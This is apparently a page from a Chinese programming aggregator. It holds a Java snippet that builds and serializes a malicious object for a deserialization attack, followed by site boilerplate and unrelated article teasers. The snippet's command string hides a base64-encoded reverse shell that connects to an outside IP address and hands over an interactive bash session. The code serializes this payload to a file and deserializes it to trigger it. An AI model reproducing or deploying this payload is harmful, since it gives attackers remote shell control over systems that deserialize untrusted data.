import java.util.Map;  public class url {  public static void main(String[] args) throws Exception {  String cmd= "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIxNy4xMTguMTk4Lzc4OTcgMD4mMQ==}|{base64,-d}|{bash,-i}";  Class<?> clazz = Class.forName("cat.uwu.begin_java.Evil");  Constructor<?> constructor = clazz.getDeclaredConstructor(String.class);  constructor.setAccessible(true);  // 允许访问私有构造函数  Object url = constructor.newInstance("ipconfig");  HashMap hashMap = new HashMap();  Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象  Field field = clazz.getDeclaredField("cmd");  field.setAccessible(true);  hashMap.put(url,'1');  field.set(url,cmd);  //        SerAndUnser.serialize(hashMap);  byte[] bytes = serialize(hashMap);  writeToFile(bytes,"1.bin");  System.out.println(Base64.getEncoder().encodeToString(bytes));  
//        unserialize(bytes);  Unserialize("1.bin");  }  public static void writeToFile(byte[] bytes, String filePath) throws IOException {  FileOutputStream fos = new FileOutputStream(filePath);  fos.write(bytes);  fos.close();  }  
public static byte[] serialize(Object obj) throws IOException {  ByteArrayOutputStream baos = new ByteArrayOutputStream();  ObjectOutputStream oos = new ObjectOutputStream(baos);  oos.writeObject(obj);  return baos.toByteArray();  
}  public static Object Unserialize(String Filename) throws IOException,ClassNotFoundException{  ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));  Object obj = objectInputStream.readObject();  return obj;  }  }

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/886492.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用真实 Elasticsearch 进行更快的集成测试

作者&#xff1a;来自 Elastic Piotr Przybyl 了解如何使用各种数据初始化和性能改进技术加快 Elasticsearch 的自动化集成测试速度。 在本系列的第 1 部分中&#xff0c;我们探讨了如何编写集成测试&#xff0c;让我们能够在真实的 Elasticsearch 环境中测试软件&#xff0c;并…

MySQL:联合查询(2)

首先写一个三个表的联合查询 查询所有同学的每门课成绩&#xff0c;及同学的个人信息 1.我们首先要确定使用哪些表 学生表&#xff0c;课程表&#xff0c;成绩表 2.取笛卡尔积 select * from score,student,course; 3. 确定表与表之间的联合条件 select * from score,stud…

Vue3学习笔记(下)

文章目录 Vue3学习笔记&#xff08;下&#xff09;组合式API下的父子通信父传子子传父 模板引用defineExpose()provide和injectvue3新特性 - defineOptionsvue3新特性 - defineModelPiniaPinia异步写法 Vue3学习笔记&#xff08;下&#xff09; 组合式API下的父子通信 父传子…

CNN神经网络

CNN 一 基本概述二 基础知识三 经典案例 今天和大家聊聊人工智能中的神经网络模型相关内容。神经网络内容庞大,篇幅有限本文主要讲述其中的CNN神经网络模型和一些基本的神经网络概念。 一 基本概述 深度学习(Deep Learning)特指基于深层神经网络模型和方法的机器学习。它是在…

MySQL —— MySQL基础概念与常用功能介绍

文章目录 基本概念数据类型数据类型分类 约束主键约束&#xff08;PRIMARY KEY&#xff09;外键约束&#xff08;FOREIGN KEY&#xff09;使用非空约束&#xff08;not null&#xff09;使用唯一性约束&#xff08;UNIQUE&#xff09;使用默认约束&#xff08;DEFAULT&#xff…

如何在react中使用react-monaco-editor渲染出一个编辑器

一、效果展示 二、基于vite配置 1.首先安装react-monaco-editor和monaco-editor包 npm add react-monaco-editor npm i monaco-editor 2.其次创建一个单独的文件&#xff08;此处是tsx、直接用app或者jsx也行&#xff09; import { useState, useEffect } from react impo…

MySQL面试之底层架构与库表设计

华子目录 mysql的底层架构客户端连接服务端连接的本质&#xff0c;连接用完会立马丢弃吗解析器和优化器的作用sql执行前会发生什么客户端的连接池和服务端的连接池数据库的三范式 mysql的底层架构 客户端连接服务端 连接的本质&#xff0c;连接用完会立马丢弃吗 解析器和优化器…

【开源免费】基于Vue和SpringBoot的私人健身与教练预约管理系统(附论文)

本文项目编号 T 618 &#xff0c;文末自助获取源码 \color{red}{T618&#xff0c;文末自助获取源码} T618&#xff0c;文末自助获取源码 随着信息技术和网络技术的飞速发展&#xff0c;人类已进入全新信息化时代&#xff0c;传统管理技术已无法高效&#xff0c;便捷地管理信息…

JVM--内存结构

目录 1. PC Register&#xff08;程序计数器&#xff09; 1.1 定义 1.2 工作原理 1.3 特点 1.4 应用 2.虚拟机栈 2.1定义与特性 2.2内存模型 2.3工作原理 2.4异常处理 2.5应用场景 2.6 Slot 复用 2.7 动态链接详解 1. 栈帧与动态链接 动态链接的作用&#xff1a…

手机直连卫星NTN通信初步研究

目录 1、手机直连卫星之序幕 2、卫星NTN及其网络架构 2.1 NTN 2.2 NTN网络架构 3、NTN的3GPP标准化进程 3.1 NTN需要适应的特性 3.2 NTN频段 3.3 NTN的3GPP标准化进程概况 3.4 NTN的3GPP标准化进程的详情 3.4.1 NR-NTN 3.4.1.1 NTN 的无线相关 SI/WI 3.4.1.2…

【SpringBoot】什么是Maven,以及如何配置国内源实现自动获取jar包

前言 &#x1f31f;&#x1f31f;本期讲解关于Maven的了解和如何进行国内源的配置~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f3…

阿里斑马智行 2025届秋招 NLP算法工程师

文章目录 个人情况一面/技术面 1h二面/技术面 1h三面/HR面 20min 个人情况 先说一下个人情况&#xff1a; 学校情况&#xff1a;211本中9硕&#xff0c;本硕学校都一般&#xff0c;本硕都是计算机科班&#xff0c;但研究方向并不是NLP&#xff0c;而是图表示学习论文情况&…

富士施乐DocuContre S2520报打开盖子A,取出纸张。代码077-900故障检修

故障描述: 一台富士施乐DocuContre S2520复印机开机报错:打开盖子A,取出纸张。代码077-900故障,用户之前经常卡纸,卡着、卡着就一直提示打开盖子A,取出纸张了;复印机屏幕提示如下图: 故障检修: 富士施乐DocuContre S2520复印机报打开盖子A,取出纸张。077-900的错误代…

【Ubuntu24.04】VirtualBox安装ubuntu-live-server24.04

目录 0 背景1 下载镜像2 安装虚拟机3 安装UbuntuServer24.044 配置基本环境5 总结0 背景 有了远程连接工具之后,似乎作为服务器的Ubuntu24.04桌面版有点备受冷落了,桌面版的Ubuntu24.04的优势是图形化桌面,是作为一个日常工作的系统来用的,就像Windows,如果要作为服务器来…

01.防火墙概述

防火墙概述 防火墙概述1. 防火墙的分类2. Linux 防火墙的基本认识3. netfilter 中五个勾子函数和报文流向 防火墙概述 防火墙&#xff08; FireWall &#xff09;&#xff1a;隔离功能&#xff0c;工作在网络或主机边缘&#xff0c;对进出网络或主机的数据包基于一定的 规则检…

STM32设计井下瓦斯检测联网WIFI加Zigbee多路节点协调器传输

目录 目录 前言 一、本设计主要实现哪些很“开门”功能&#xff1f; 二、电路设计原理图 1.电路图采用Altium Designer进行设计&#xff1a; 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 本系统基于STM32微控制器和Zigbee无线通信技术&#xff0c;设计了…

Vue 中的透传,插槽,依赖注入

1. 透传attributes 在组件上使用透传attribute&#xff1a; 当你在父组件中使用子组件时&#xff0c;你可以添加一些attribute到子组件上&#xff0c;即使这些attribute没有在子组件的props中声明。 父组件&#xff1a; <!-- 父组件&#xff0c;例如 ParentComponent.vue…

Figma汉化:提升设计效率,降低沟通成本

在UI设计领域&#xff0c;Figma因其强大的功能而广受欢迎&#xff0c;但全英文界面对于国内设计师来说是一个不小的挑战。幸运的是&#xff0c;通过Figma汉化插件&#xff0c;我们可以克服语言障碍。以下是两种获取和安装Figma汉化插件的方法&#xff0c;旨在帮助国内的UI设计师…

SpringBoot项目实现登录——集成JWT令牌和验证码的登录业务

目录 前言 一、初步认识JWT令牌 二、利用JWT令牌实现登录功能 1.配置登录拦截器&#xff1a; 2.实现后端的登录接口 三、在登录中添加验证码功能 点此查看&#xff1a;完整的&#xff0c;附带验证码和JWT令牌验证功能的登录流程&#xff0c;完整代码 前言 在我们的项目…

网络常用特殊地址-127.0.0.1

借用Medium博客的一张图 经常在问题解答群里留意到如下关于127.0.0.1的消息 ”如果单机版&#xff0c;不需要配置IP&#xff0c;所有配置IP的地方都写死127.0.0.1就可以” “ip: 根据实际情况填写&#xff08;在 xxx-init.conf 里可以给一个默认值 127.0.0.1 &#xff0c;方便…